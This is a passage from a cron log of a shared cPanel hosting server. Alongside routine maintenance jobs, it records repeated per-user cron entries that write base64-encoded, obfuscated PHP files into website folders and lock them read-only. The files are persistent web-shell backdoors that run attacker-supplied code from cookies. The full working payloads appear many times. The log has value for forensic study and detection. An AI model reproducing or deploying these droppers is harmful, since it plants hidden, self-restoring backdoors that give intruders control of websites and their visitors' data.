QoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:00:01 medusa CROND[10067]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10077]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:00:01 medusa CROND[10080]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:00:01 medusa CROND[10085]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:00:01 medusa CROND[10089]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Jun  7 11:00:01 medusa CROND[10078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:00:01 medusa CROND[10092]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 11:00:01 medusa CROND[10084]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:00:01 medusa CROND[10090]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 11:00:01 medusa CROND[10094]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 11:00:01 medusa CROND[10105]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 11:00:01 medusa CROND[10101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:01:01 medusa CROND[11824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:01:01 medusa CROND[11825]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:01:01 medusa CROND[11828]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:01:01 medusa CROND[11829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:01:01 medusa CROND[11830]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:01:01 medusa CROND[11831]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 11:01:01 medusa CROND[11833]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:01:01 medusa CROND[11834]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:01:01 medusa CROND[11835]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:01:01 medusa CROND[11836]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:01:01 medusa CROND[11837]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:01:01 medusa CROND[11840]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:01:01 medusa CROND[11841]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:01:01 medusa CROND[11842]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:01:02 medusa run-parts(/etc/cron.hourly)[11831]: starting 0anacron
Jun  7 11:01:02 medusa run-parts(/etc/cron.hourly)[11944]: finished 0anacron
Jun  7 11:02:02 medusa CROND[13442]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:02:02 medusa CROND[13443]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:02:02 medusa CROND[13444]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:02:02 medusa CROND[13445]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:02:02 medusa CROND[13446]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:02:02 medusa CROND[13447]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:02:02 medusa CROND[13448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:02:02 medusa CROND[13449]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:02:02 medusa CROND[13450]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:02:02 medusa CROND[13456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:02:02 medusa CROND[13457]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:02:02 medusa CROND[13465]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6On